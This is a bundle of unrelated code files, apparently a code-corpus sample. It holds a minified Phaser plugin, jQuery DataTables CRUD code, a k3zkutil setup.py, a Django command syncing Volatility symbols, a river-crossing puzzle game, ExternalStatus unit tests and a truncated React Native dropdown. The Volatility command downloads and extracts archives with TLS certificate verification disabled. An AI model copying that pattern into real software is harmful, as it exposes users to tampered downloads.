0),enable:n,eventEmitter:!1};i.dragState=new _(t,r),i._enable=void 0,i._value=void 0,i._slowDown=new S;var o=D(e,"valuechangeCallback",null);if(null!==o){var a=D(e,"valuechangeCallbackScope",void 0);i.on("valuechange",o,a)}if(null!==(o=D(e,"overmaxCallback",null))){a=D(e,"overmaxCallbackScope",void 0);i.on("overmax",o,a)}if(null!==(o=D(e,"overminCallback",null))){a=D(e,"overminCallbackScope",void 0);i.on("overmin",o,a)}return i.resetFromJSON(e),i.boot(),i}return r(u,[{key:"resetFromJSON",value:function(t){this.setOrientationMode(D(t,"orientation",0)),this.setDragThreshold(D(t,"threshold",10)),this.setSlidingDeceleration(D(t,"slidingDeceleration",5e3)),this.setBackDeceleration(D(t,"backDeceleration",2e3));var e=D(t,"bounds",void 0);return e?this.setBounds(e):this.setBounds(D(t,"max",0),D(t,"min",0)),this.setValue(D(t,"value",this.maxValue||0)),this.setEnable(D(t,"enable",!0)),this}},{key:"boot",value:function(){this.scene.events.on("update",this._state.update,this._state)}},{key:"shutdown",value:function(t){this.isShutdown||(this.scene.events.off("update",this._state.update,this._state),this._state.destroy(t),this.dragState.destroy(t),v(a(u.prototype),"shutdown",this).call(this,t))}},{key:"enable",get:function(){return this._enable},set:function(t){if(this._enable!==t)return this._enable=t,this._state.setEnable(t),this.dragState.setEnable(t),this}},{key:"setEnable",value:function(t){return void 0===t&&(t=!0),this.enable=t,this}},{key:"toggleEnable",value:function(){return this.setEnable(!this.enable),this}},{key:"setOrientationMode",value:function(t){return"string"==typeof t&&(t=x[t]),this.orientationMode=t,this}},{key:"setDragThreshold",value:function(t){return this.dragThreshold=t,this}},{key:"setSlidingDeceleration",value:function(t){return this.slidingDeceleration=t,this}},{key:"setBackDeceleration",value:function(t){return this.backDeceleration=t,this}},{key:"setBounds",value:function(t,e){if(Array.isArray(t)){var i=t;t=i[0],e=i[1]}return t<e?(this.minValue=t,this.maxValue=e):(this.minValue=e,this.maxValue=t),this}},{key:"value",get:function(){return this._value},set:function(t){if(t!==this._value){var e=this._value,i=this.overMax(t),n=this.overMin(t);i&&this.emit("overmax",t,e),n&&this.emit("overmin",t,e),this.backEnable||(i&&(t=this.maxValue),n&&(t=this.minValue)),this._value=t,this.emit("valuechange",t,e)}}},{key:"setValue",value:function(t){this.value=t}},{key:"state",get:function(){return this._state.state}},{key:"isDragging",get:function(){return this.dragState.isInTouched}},{key:"outOfMaxBound",get:function(){return this.overMax(this.value)}},{key:"outOfMinBound",get:function(){return this.overMin(this.value)}},{key:"outOfBounds",get:function(){return this.outOfMinBound||this.outOfMaxBound}},{key:"overMax",value:function(t){return null!=this.maxValue&&t>this.maxValue}},{key:"overMin",value:function(t){return null!=this.minValue&&t<this.minValue}},{key:"backEnable",get:function(){return"number"==typeof this.backDeceleration}},{key:"isPullBack",get:function(){return this._slowDown.isMoving}},{key:"slidingEnable",get:function(){return"number"==typeof this.slidingDeceleration}},{key:"isSliding",get:function(){return this._slowDown.isMoving}},{key:"dragDelta",get:function(){return 0===this.orientationMode?this.dragState.dy:1===this.orientationMode?this.dragState.dx:0}},{key:"dragSpeed",get:function(){return 0===this.orientationMode?this.dragState.speedY:1===this.orientationMode?this.dragState.speedX:0}},{key:"dragging",value:function(){this.value+=this.dragDelta}},{key:"onSliding",value:function(){var t=this.value,e=this.dragSpeed;if(0===e)return this._slowDown.stop(),void this._state.next();var i=this.slidingDeceleration;this._slowDown.init(t,0<e,Math.abs(e),i)}},{key:"sliding",value:function(t,e){e*=.001;var i=this._slowDown.update(e).value;this.overMax(i)?(this.value=this.maxValue,this._slowDown.stop()):this.overMin(i)?(this.value=this.minValue,this._slowDown.stop()):this.value=i}},{key:"onPullBack",value:function(){var t=this.value,e=this.outOfMinBound?this.minValue:this.maxValue,i=Math.abs(e-t),n=this.backDeceleration,s=Math.sqrt(2*n*i);this._slowDown.init(t,void 0,s,n,e)}},{key:"pullBack",value:function(t,e){e*=.001,this.value=this._slowDown.update(e).value,this._slowDown.isMoving||this._state.next()}},{key:"stop",value:function(){this._slowDown.stop()}}]),u}(),x={y:0,v:0,vertical:0,x:1,h:1,horizontal:1};return function(){t(i,Phaser.Plugins.BasePlugin);var e=o(i);function i(t){return l(this,i),e.call(this,t)}return r(i,[{key:"start",value:function(){this.game.events.on("destroy",this.destroy,this)}},{key:"add",value:function(t,e){return new w(t,e)}}]),i}()});
|
import foo from "./foo.js";
export default import("./foo.js");
|
let url, satuan_produk = $("#satuan_produk").DataTable({
responsive: true,
scrollX: true,
ajax: readUrl,
columnDefs: [{
searcable: false,
orderable: false,
targets: 0
}],
order: [
[1, "asc"]
],
columns: [{
data: null
}, {
data: "satuan"
}, {
data: "action"
}]
});
function reloadTable() {
satuan_produk.ajax.reload()
}
function addData() {
$.ajax({
url: addUrl,
type: "post",
dataType: "json",
data: $("#form").serialize(),
success: () => {
$(".modal").modal("hide");
Swal.fire("Sukses", "Sukses Menambahkan Data", "success");
reloadTable()
},
error: err => {
console.log(err)
}
})
}
function remove(id) {
Swal.fire({
title: "Hapus",
text: "Hapus data ini?",
type: "warning",
showDenyButton: true,
showCancelButton: true,
confirmButtonText: `Yes`,
denyButtonText: `No`,
}).then((result) => {
if (result.value) {
$.ajax({
url: removeUrl,
type: "post",
dataType: "json",
data: {
id: id
},
success: () => {
Swal.fire("Sukses", "Sukses Menghapus Data", "success");
reloadTable()
},
error: err => {
console.log(err)
}
})
}
})
}
function editData() {
$.ajax({
url: editUrl,
type: "post",
dataType: "json",
data: $("#form").serialize(),
success: () => {
$(".modal").modal("hide");
Swal.fire("Sukses", "Sukses Mengedit Data", "success");
reloadTable()
},
error: err => {
console.log(err)
}
})
}
function add() {
url = "add";
$(".modal-title").html("Add Data");
$('.modal button[type="submit"]').html("Add")
}
function edit(id) {
$.ajax({
url: get_satuanUrl,
type: "post",
dataType: "json",
data: {
id: id
},
success: res => {
$('[name="id"]').val(res.id);
$('[name="satuan"]').val(res.satuan);
$(".modal").modal("show");
$(".modal-title").html("Edit Data");
$('.modal button[type="submit"]').html("Edit");
url = "edit"
},
error: err => {
console.log(err)
}
})
}
satuan_produk.on("order.dt search.dt", () => {
satuan_produk.column(0, {
search: "applied",
order: "applied"
}).nodes().each((el, val) => {
el.innerHTML = val + 1
})
});
$("#form").validate({
errorElement: "span",
errorPlacement: (err, el) => {
err.addClass("invalid-feedback");
el.closest(".form-group").append(err)
},
submitHandler: () => {
"edit" == url ? editData() : addData()
}
});
$(".modal").on("hidden.bs.modal", () => {
$("#form")[0].reset();
$("#form").validate().resetForm()
});
|
# DO NOT EDIT!!! built with `python _building/build_setup.py`
import setuptools
setuptools.setup(
name="k3zkutil",
packages=["k3zkutil"],
version="0.1.0",
license='MIT',
description='Some helper function to make life easier with zookeeper.',
long_description='# k3zkutil\n\n[](https://github.com/pykit3/k3zkutil/actions/workflows/python-package.yml)\n[](https://travis-ci.com/pykit3/k3zkutil)\n[](https://k3zkutil.readthedocs.io/en/stable/?badge=stable)\n[](https://pypi.org/project/k3zkutil)\n\nSome helper function to make life easier with zookeeper.\n\nk3zkutil is a component of [pykit3] project: a python3 toolkit set.\n\n\nSome helper function to make life easier with zookeeper.\n\n\n\n\n# Install\n\n```\npip install k3zkutil\n```\n\n# Synopsis\n\n```python\n\nfrom k3zkutil import config\n"""\nconfig.zk_acl # ((\'xp\', \'123\', \'cdrwa\'), (\'foo\', \'bar\', \'rw\'))\nconfig.zk_auth # (\'digest\', \'xp\', \'123\')\nconfig.zk_hosts # \'127.0.0.1:2181\'\nconfig.zk_node_id # \'web-01\'\nconfig.zk_lock_dir # \'lock/\'\n"""\nwith k3zkutil.ZKLock(\'foo_lock\',\n zkconf=dict(\n hosts=\'127.0.0.1:2181\',\n acl=((\'xp\', \'123\', \'cdrwa\'),),\n auth=(\'digest\', \'xp\', \'123\'),\n node_id=\'web-3\',\n lock_dir=\'my_locks/\'\n )):\n print("do something")\nlock = k3zkutil.ZKLock(\'foo\')\ntry:\n for holder, ver in lock.acquire_loop(timeout=3):\n print(\'lock is currently held by:\', holder, ver)\n\n print(\'lock is acquired\')\nexcept k3zkutil.LockTimeout as e:\n print(\'timeout to acquire "foo"\')\n```\n\n# Author\n\nZhang Yanpo (张炎泼) <drdr.xp@gmail.com>\n\n# Copyright and License\n\nThe MIT License (MIT)\n\nCopyright (c) 2015 Zhang Yanpo (张炎泼) <drdr.xp@gmail.com>\n\n\n[pykit3]: https://github.com/pykit3',
long_description_content_type="text/markdown",
author='Zhang Yanpo',
author_email='drdr.xp@gmail.com',
url='https://github.com/pykit3/k3zkutil',
keywords=['python', 'zookeeper'],
python_requires='>=3.0',
install_requires=['k3ut>=0.1.15,<0.2', 'k3utfjson>=0.1.1,<0.2', 'kazoo>=2.8.0', 'k3net>=0.1.0,<0.2', 'k3thread>=0.1.0,<0.2', 'k3txutil>=0.1.0,<0.2', 'k3utdocker>=0.1.0,<0.2', 'k3confloader>=0.1.1,<0.2'],
classifiers=[
'Development Status :: 4 - Beta',
'Intended Audience :: Developers',
'Topic :: Software Development :: Libraries',
] + ['Programming Language :: Python :: 3'],
)
|
import os
import requests
import shutil
from zipfile import ZipFile
from volatility3 import framework
from pathlib import Path
from glob import glob
from django.core.management.base import BaseCommand
from django.conf import settings
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Command(BaseCommand):
help = "Sync Volatility Symbols"
def __init__(self, *args, **kwargs):
super(Command, self).__init__(*args, **kwargs)
self.local_path = Path(settings.VOLATILITY_SYMBOL_PATH)
self.online_path = settings.VOLATILITY_SYMBOL_DOWNLOAD_PATH
if os.environ.get("http_proxy", None) or os.environ.get("https_proxy", None):
self.proxies = {
"http": os.environ.get("http_proxy", None),
"https": os.environ.get("https_proxy", None),
}
else:
self.proxies = None
def get_hash_local(self):
if Path(self.local_path, "MD5SUMS").exists():
hashes = {}
with Path(self.local_path, "MD5SUMS").open() as f:
for line in f.readlines():
try:
parts = line.split()
hashes[parts[1]] = parts[0]
except:
pass
return hashes
return None
def get_hash_online(self, store=False):
r = requests.get(
"{}/{}".format(self.online_path, "MD5SUMS"),
proxies=self.proxies,
verify=False,
)
if r.status_code == 200:
if store:
with Path(self.local_path, "MD5SUMS").open(mode="w") as f:
f.write(r.text)
hashes = {}
for line in r.text.split("\n"):
try:
parts = line.split()
hashes[parts[1]] = parts[0]
except:
pass
return hashes
return None
def remove(self, item):
path = os.path.join(self.local_path, item.split(".")[0])
self.stdout.write("Removing path {}.".format(path))
files = glob("{}/*".format(path))
for f in files:
if os.path.isdir(f):
shutil.rmtree(f)
else:
if f.find("added") != -1:
os.remove(f)
def download(self, item):
r = requests.get(
"{}/{}".format(self.online_path, item), proxies=self.proxies, verify=False
)
local_path = Path("/tmp", item)
if r.status_code == 200:
with local_path.open(mode="wb") as f:
f.write(r.content)
with ZipFile(local_path, "r") as zipObj:
for name in zipObj.namelist():
filetype = item.split(".")[0]
ok_path = (
Path(self.local_path, filetype)
if name.split("/")[0] != filetype
else Path(self.local_path)
)
self.stdout.write("NAME: {} - PATH: {}".format(name, ok_path))
zipObj.extract(name, ok_path)
return True
return False
def handle(self, *args, **kwargs):
hash_local = self.get_hash_local()
self.stdout.write("Local hash: {}".format(hash_local))
hash_online = self.get_hash_online()
self.stdout.write("Remote hash: {}".format(hash_online))
changed = False
if not hash_online:
self.stdout.write("Failed to download remote hashes - Exiting")
else:
for item in hash_online:
if not hash_local or hash_local.get(item) != hash_online.get(item):
changed = True
self.stdout.write(
"Hashes for {} are different - downloading".format(item)
)
self.remove(item)
self.stdout.write(
"Starting download of zip symbols {}.".format(item)
)
if self.download(item):
self.stdout.write(
"Download of zip symbols completed for {}.".format(item)
)
else:
self.stdout.write(
"Download of zip symbols failed for {}.".format(item)
)
else:
self.stdout.write("Hashes for {} are equal - skipping".format(item))
if changed:
self.get_hash_online(store=True)
self.stdout.write("Updating local hashes")
framework.clear_cache()
self.stdout.write("Clearing cache")
|
shore = {1:['m1','m2','m3','c1','c2','c3'],2:[]}
boat = {1:True,2:False}
boat_cap = 0
boat_hold = []
choice = 'y'
count = 0
glob = 1
def pick():
print("Pick a person to put on boat/or press enter")
return input()
def check(person,flag,avail_p):
if(person in shore[flag] or person == "" or person in boat_hold):
return True
else:
return False
def check_conditions(shore,flag,cflag,boatf):
num_m = 0
num_c = 0
true = 0
for i in shore[flag]:
if(i[0] == 'm'):
num_m = num_m + 1
else:
num_c = num_c + 1
if(num_m < num_c and num_m > 0):
return False
else:
true = 1
num_m = 0
num_c = 0
for i in shore[cflag]+boatf:
if(i[0] == 'm'):
num_m = num_m + 1
else:
num_c = num_c + 1
if(num_m < num_c and num_m > 0):
return False
elif(true == 1):
return true
while(choice == 'Y' or choice == 'y'):
count = 0
win = 0
while(count <= 25):
def again(shore,boat_hold):
print("People On Shore "+str(flag)+ " are: ")
print()
print(shore[flag] + boat_hold)
shore[flag] = shore[flag] + boat_hold
avail_p = shore[flag] + boat_hold
boat_hold =[]
for i in range(2):
print("For Person " + str(i+1))
print()
person = pick()
if(i == 0 and person == ""):
while(person == ""):
print("Boat Cannot Be Empty")
person = pick()
if((not person == "") and person in avail_p):
boat_hold.append(person)
del avail_p[avail_p.index(person)]
del shore[flag][shore[flag].index(person)]
elif(person not in avail_p and not person == ""):
print("Invalid Choice")
person = pick()
while(not check(person,flag,avail_p)):
person = pick()
if(person == ""):
break
glob = 0
return boat_hold
if(boat[1]):
flag = 1
cflag = 2
else:
flag = 2
cflag = 1
if(glob == 1):
boat_hold = again(shore,boat_hold)
while(not check_conditions(shore,flag,cflag,boat_hold)):
print()
print("** Invalid Move,Try Again **")
print()
boat_hold = again(shore,boat_hold)
print("Sending Boat")
print()
avail_p = shore[cflag] + boat_hold
boat[cflag] = True
boat[flag] = False
glob = 1
if(len(shore[1]) == 0):
win = 1
print("Congratulation, You Solved The Problem.")
break
count = count + 1
if(win == 0):
print()
print("*** Sorry, Number of moves exceeeded ***")
print()
print("Do You Want To Replay? Y/N",end=" ")
choice = input()
|
#!/usr/bin/env python
"""Unit test driver for the manic external status reporting module.
Note: this script assumes the path to the manic package is already in
the python path.
"""
from __future__ import absolute_import
from __future__ import unicode_literals
from __future__ import print_function
import unittest
from manic.externals_status import ExternalStatus
class TestStatusObject(unittest.TestCase):
"""Verify that the Status object behaives as expected.
"""
def test_exists_empty_all(self):
"""If the repository sync-state is empty (doesn't exist), and there is no
clean state, then it is considered not to exist.
"""
stat = ExternalStatus()
stat.sync_state = ExternalStatus.EMPTY
stat.clean_state = ExternalStatus.DEFAULT
exists = stat.exists()
self.assertFalse(exists)
stat.clean_state = ExternalStatus.EMPTY
exists = stat.exists()
self.assertFalse(exists)
stat.clean_state = ExternalStatus.UNKNOWN
exists = stat.exists()
self.assertFalse(exists)
# this state represtens an internal logic error in how the
# repo status was determined.
stat.clean_state = ExternalStatus.STATUS_OK
exists = stat.exists()
self.assertTrue(exists)
# this state represtens an internal logic error in how the
# repo status was determined.
stat.clean_state = ExternalStatus.DIRTY
exists = stat.exists()
self.assertTrue(exists)
def test_exists_default_all(self):
"""If the repository sync-state is default, then it is considered to exist
regardless of clean state.
"""
stat = ExternalStatus()
stat.sync_state = ExternalStatus.DEFAULT
stat.clean_state = ExternalStatus.DEFAULT
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.EMPTY
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.UNKNOWN
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.STATUS_OK
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.DIRTY
exists = stat.exists()
self.assertTrue(exists)
def test_exists_unknown_all(self):
"""If the repository sync-state is unknown, then it is considered to exist
regardless of clean state.
"""
stat = ExternalStatus()
stat.sync_state = ExternalStatus.UNKNOWN
stat.clean_state = ExternalStatus.DEFAULT
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.EMPTY
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.UNKNOWN
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.STATUS_OK
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.DIRTY
exists = stat.exists()
self.assertTrue(exists)
def test_exists_modified_all(self):
"""If the repository sync-state is modified, then it is considered to exist
regardless of clean state.
"""
stat = ExternalStatus()
stat.sync_state = ExternalStatus.MODEL_MODIFIED
stat.clean_state = ExternalStatus.DEFAULT
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.EMPTY
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.UNKNOWN
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.STATUS_OK
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.DIRTY
exists = stat.exists()
self.assertTrue(exists)
def test_exists_ok_all(self):
"""If the repository sync-state is ok, then it is considered to exist
regardless of clean state.
"""
stat = ExternalStatus()
stat.sync_state = ExternalStatus.STATUS_OK
stat.clean_state = ExternalStatus.DEFAULT
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.EMPTY
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.UNKNOWN
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.STATUS_OK
exists = stat.exists()
self.assertTrue(exists)
stat.clean_state = ExternalStatus.DIRTY
exists = stat.exists()
self.assertTrue(exists)
def test_update_ok_all(self):
"""If the repository in-sync is ok, then it is safe to
update only if clean state is ok
"""
stat = ExternalStatus()
stat.sync_state = ExternalStatus.STATUS_OK
stat.clean_state = ExternalStatus.DEFAULT
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.EMPTY
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.UNKNOWN
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.STATUS_OK
safe_to_update = stat.safe_to_update()
self.assertTrue(safe_to_update)
stat.clean_state = ExternalStatus.DIRTY
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
def test_update_modified_all(self):
"""If the repository in-sync is modified, then it is safe to
update only if clean state is ok
"""
stat = ExternalStatus()
stat.sync_state = ExternalStatus.MODEL_MODIFIED
stat.clean_state = ExternalStatus.DEFAULT
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.EMPTY
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.UNKNOWN
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.STATUS_OK
safe_to_update = stat.safe_to_update()
self.assertTrue(safe_to_update)
stat.clean_state = ExternalStatus.DIRTY
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
def test_update_unknown_all(self):
"""If the repository in-sync is unknown, then it is not safe to
update, regardless of the clean state.
"""
stat = ExternalStatus()
stat.sync_state = ExternalStatus.UNKNOWN
stat.clean_state = ExternalStatus.DEFAULT
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.EMPTY
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.UNKNOWN
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.STATUS_OK
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.DIRTY
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
def test_update_default_all(self):
"""If the repository in-sync is default, then it is not safe to
update, regardless of the clean state.
"""
stat = ExternalStatus()
stat.sync_state = ExternalStatus.UNKNOWN
stat.clean_state = ExternalStatus.DEFAULT
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.EMPTY
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.UNKNOWN
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.STATUS_OK
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.DIRTY
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
def test_update_empty_all(self):
"""If the repository in-sync is empty, then it is not safe to
update, regardless of the clean state.
"""
stat = ExternalStatus()
stat.sync_state = ExternalStatus.UNKNOWN
stat.clean_state = ExternalStatus.DEFAULT
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.EMPTY
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.UNKNOWN
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.STATUS_OK
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
stat.clean_state = ExternalStatus.DIRTY
safe_to_update = stat.safe_to_update()
self.assertFalse(safe_to_update)
if __name__ == '__main__':
unittest.main()
|
import PropTypes from "prop-types";
import React, { PureComponent } from "react";
import {
Text,
View,
FlatList,
Animated,
Modal,
TouchableWithoutFeedback,
Dimensions,
Platform,
ViewPropTypes,
I18nManager
} from "react-native";
import Ripple from "react-native-material-ripple";
import { TextField } from "react-native-material-textfield";
import DropdownItem from "../item";
import styles from "./styles";
export default class Dropdown extends PureComponent {
static defaultProps = {
hitSlop: { top: 6, right: 4, bottom: 6, left: 4 },
disabled: false,
data: [],
valueExtractor: ({ value } = {}, index) => value,
labelExtractor: ({ label } = {}, index) => label,
propsExtractor: () => null,
absoluteRTLLayout: false,
dropdownOffset: {
top: 32,
left: 0
},
dropdownMargins: {
min: 8,
max: 16
},
rippleCentered: false,
rippleSequential: true,
rippleInsets: {
top: 16,
right: 0,
bottom: -8,
left: 0
},
rippleOpacity: 0.54,
shadeOpacity: 0.12,
rippleDuration: 400,
animationDuration: 225,
fontSize: 16,
textColor: "rgba(0, 0, 0, .87)",
itemColor: "rgba(0, 0, 0, .54)",
baseColor: "rgba(0, 0, 0, .38)",
itemCount: 4,
itemPadding: 8,
supportedOrientations: [
"portrait",
"portrait-upside-down",
"landscape",
"landscape-left",
"landscape-right"
],
useNativeDriver: false
};
static propTypes = {
...TouchableWithoutFeedback.propTypes,
disabled: PropTypes.bool,
value: PropTypes.oneOfType([PropTypes.string, PropTypes.number]),
data: PropTypes.arrayOf(PropTypes.object),
valueExtractor: PropTypes.func,
labelExtractor: PropTypes.func,
propsExtractor: PropTypes.func,
absoluteRTLLayout: PropTypes.bool,
dropdownOffset: PropTypes.shape({
top: PropTypes.number.isRequired,
left: PropTypes.number.isRequired
}),
dropdownMargins: PropTypes.shape({
min: PropTypes.number.isRequired,
max: PropTypes.number.isRequired
}),
dropdownPosition: PropTypes.number,
rippleColor: PropTypes.string,
rippleCentered: PropTypes.bool,
rippleSequential: PropTypes.bool,
rippleInsets: PropTypes.shape({
top: PropTypes.number,
right: PropTypes.number,
bottom: PropTypes.number,
left: PropTypes.number
}),
rippleOpacity: PropTypes.number,
shadeOpacity: PropTypes.number,
rippleDuration: PropTypes.number,
animationDuration: PropTypes.number,
fontSize: PropTypes.number,
textColor: PropTypes.string,
itemColor: PropTypes.string,
selectedItemColor: PropTypes.string,
disabledItemColor: PropTypes.string,
baseColor: PropTypes.string,
itemTextStyle: Text.propTypes.style,
itemCount: PropTypes.number,
itemPadding: PropTypes.number,
onLayout: PropTypes.func,
onFocus: PropTypes.func,
onBlur: PropTypes.func,
onChangeText: PropTypes.func,
renderBase: PropTypes.func,
renderAccessory: PropTypes.func,
containerStyle: (ViewPropTypes || View.propTypes).style,
overlayStyle: (ViewPropTypes || View.propTypes).style,
pickerStyle: (ViewPropTypes || View.propTypes).style,
supportedOrientations: PropTypes.arrayOf(PropTypes.string),
useNativeDriver: PropTypes.bool
};
constructor(props) {
super(props);
this.onPress = this.onPress.bind(this);
this.onClose = this.onClose.bind(this);
this.onSelect = this.onSelect.bind(this);
this.onLayout = this.onLayout.bind(this);
this.updateRippleRef = this.updateRef.bind(this, "ripple");
this.updateContainerRef = this.updateRef.bind(this, "container");
this.updateScrollRef = this.updateRef.bind(this, "scroll");
this.renderAccessory = this.renderAccessory.bind(this);
this.renderItem = this.renderItem.bind(this);
this.keyExtractor = this.keyExtractor.bind(this);
this.blur = () => this.onClose();
this.focus = this.onPress;
let { value } = this.props;
this.mounted = false;
this.focused = false;
this.state = {
opacity: new Animated.Value(0),
selected: -1,
modal: false,
value
};
}
componentDidUpdate(prevProps, prevState) {
if (prevProps.value !== this.props.value) {
this.setState({ value: this.props.value });
}
}
componentDidMount() {
this.mounted = true;
}
componentWillUnmount() {
this.mounted = false;
}
onPress(event) {
let {
data,
disabled,
onFocus,
itemPadding,
rippleDuration,
dropdownOffset,
dropdownMargins: { min: minMargin, max: maxMargin },
animationDuration,
absoluteRTLLayout,
useNativeDriver
} = this.props;
if (disabled) {
return;
}
let itemCount = data.length;
let timestamp = Date.now();
if (null != event) {
/* Adjust event location */
event.nativeEvent.locationY -= this.rippleInsets().top;
event.nativeEvent.locationX -= this.rippleInsets().left;
/* Start ripple directly from event */
this.ripple.startRipple(event);
}
if (!itemCount) {
return;
}
this.focused = true;
if ("function" === typeof onFocus) {
onFocus();
}
let dimensions = Dimensions.get("window");
this.container.measureInWindow((x, y, containerWidth, containerHeight) => {
let { opacity } = this.state;
/* Adjust coordinates for relative layout in RTL locale */
if (I18nManager.isRTL && !absoluteRTLLayout) {
x = dimensions.width - (x + containerWidth);
}
let delay = Math.max(
0,
rippleDuration - animationDuration - (Date.now() - timestamp)
);
let selected = this.selectedIndex();
let leftInset;
let left = x + dropdownOffset.left - maxMargin;
if (left > minMargin) {
leftInset = maxMargin;
} else {
left = minMargin;
leftInset = minMargin;
}
let right = x + containerWidth + maxMargin;
let rightInset;
if (dimensions.width - right > minMargin) {
rightInset = maxMargin;
} else {
right = dimensions.width - minMargin;
rightInset = minMargin;
}
let top = y + dropdownOffset.top - itemPadding;
this.setState({
modal: true,
width: right - left,
top,
left,
leftInset,
rightInset,
selected
});
setTimeout(() => {
if (this.mounted) {
this.resetScrollOffset();
Animated.timing(opacity, {
duration: animationDuration,
toValue: 1,
useNativeDriver
}).start(() => {
if (this.mounted && "ios" === Platform.OS) {
let { flashScrollIndicators } = this.scroll || {};
if ("function" === typeof flashScrollIndicators) {
flashScrollIndicators.call(this.scroll);
}
}
});
}
}, delay);
});
}
onClose(value = this.state.value) {
let { onBlur, animationDuration, useNativeDriver } = this.props;
let { opacity } = this.state;
Animated.timing(opacity, {
duration: animationDuration,
toValue: 0,
useNativeDriver
}).start(() => {
this.focused = false;
if ("function" === typeof onBlur) {
onBlur();
}
if (this.mounted) {
this.setState({ value, modal: false });
}
});
}
onSelect(index) {
let {
data,
valueExtractor,
onChangeText,
animationDuration,
rippleDuration
} = this.props;
let value = valueExtractor(data[index], index);
let delay = Math.max(0, rippleDuration - animationDuration);
if ("function" === typeof onChangeText) {
onChangeText(value, index, data);
}
setTimeout(() => this.onClose(value), delay);
}
onLayout(event) {
let { onLayout } = this.props;
if ("function" === typeof onLayout) {
onLayout(event);
}
}
value() {
let { value } = this.state;
return value;
}
selectedIndex() {
let { value } = this.state;
let { data, valueExtractor } = this.props;
return data.findIndex(
(item, index) => null != item && value === valueExtractor(item, index)
);
}
selectedItem() {
let { data } = this.props;
return data[this.selectedIndex()];
}
isFocused() {
return this.focused;
}
itemSize() {
let { fontSize, itemPadding } = this.props;
return Math.ceil(fontSize * 1.5 + itemPadding * 2);
}
visibleItemCount() {
let { data, itemCount } = this.props;
return Math.min(data.length, itemCount);
}
tailItemCount() {
return Math.max(this.visibleItemCount() - 2, 0);
}
rippleInsets() {
let { top = 16, right = 0, bottom = -8, left = 0 } =
this.props.rippleInsets || {};
return { top, right, bottom, left };
}
resetScrollOffset() {
let { selected } = this.state;
let visibleItemCount = this.visibleItemCount();
selected = selected - visibleItemCount + 1;
if (this.scroll && selected >= 0) {
this.scroll.scrollToIndex({ animated: true, index: selected });
}
}
getItemLayout = (data, index) => ({
length: this.itemSize(),
offset: this.itemSize() * index,
index
});
updateRef(name, ref) {
this[name] = ref;
}
keyExtractor(item, index) {
let { valueExtractor } = this.props;
return `${index}-${valueExtractor(item, index)}`;
}
renderBase(props) {
let { value } = this.state;
let {
data,
renderBase,
labelExtractor,
dropdownOffset,
renderAccessory = this.renderAccessory
} = this.props;
let index = this.selectedIndex();
let title;
if (~index) {
title = labelExtractor(data[index], index);
}
if (null == title) {
title = value;
}
if ("function" === typeof renderBase) {
return renderBase({ ...props, title, value, renderAccessory });
}
title = null == title || "string" === typeof title ? title : String(title);
return (
<TextField
label=""
labelHeight={
dropdownOffset.top - Platform.select({ ios: 1, android: 2 })
}
{...props}
value={title}
editable={false}
onChangeText={undefined}
renderAccessory={renderAccessory}
/>
);
}
renderRipple() {
let {
baseColor,
rippleColor = baseColor,
rippleOpacity,
rippleDuration,
rippleCentered,
rippleSequential
} = this.props;
let { bottom, ...insets } = this.rippleInsets();
let style = {
...insets,
height: this.itemSize() - bottom,
position: "absolute"
};
return (
<Ripple
style={style}
rippleColor={rippleColor}
rippleDuration={rippleDuration}
rippleOpacity={rippleOpacity}
rippleCentered={rippleCentered}
rippleSequential={rippleSequential}
ref={this.updateRippleRef}
/>
);
}
renderAccessory() {
let { baseColor: backgroundColor } = this.props;
let triangleStyle = { backgroundColor };
return (
<View style={styles.accessory}>
<View style={styles.triangleContainer}>
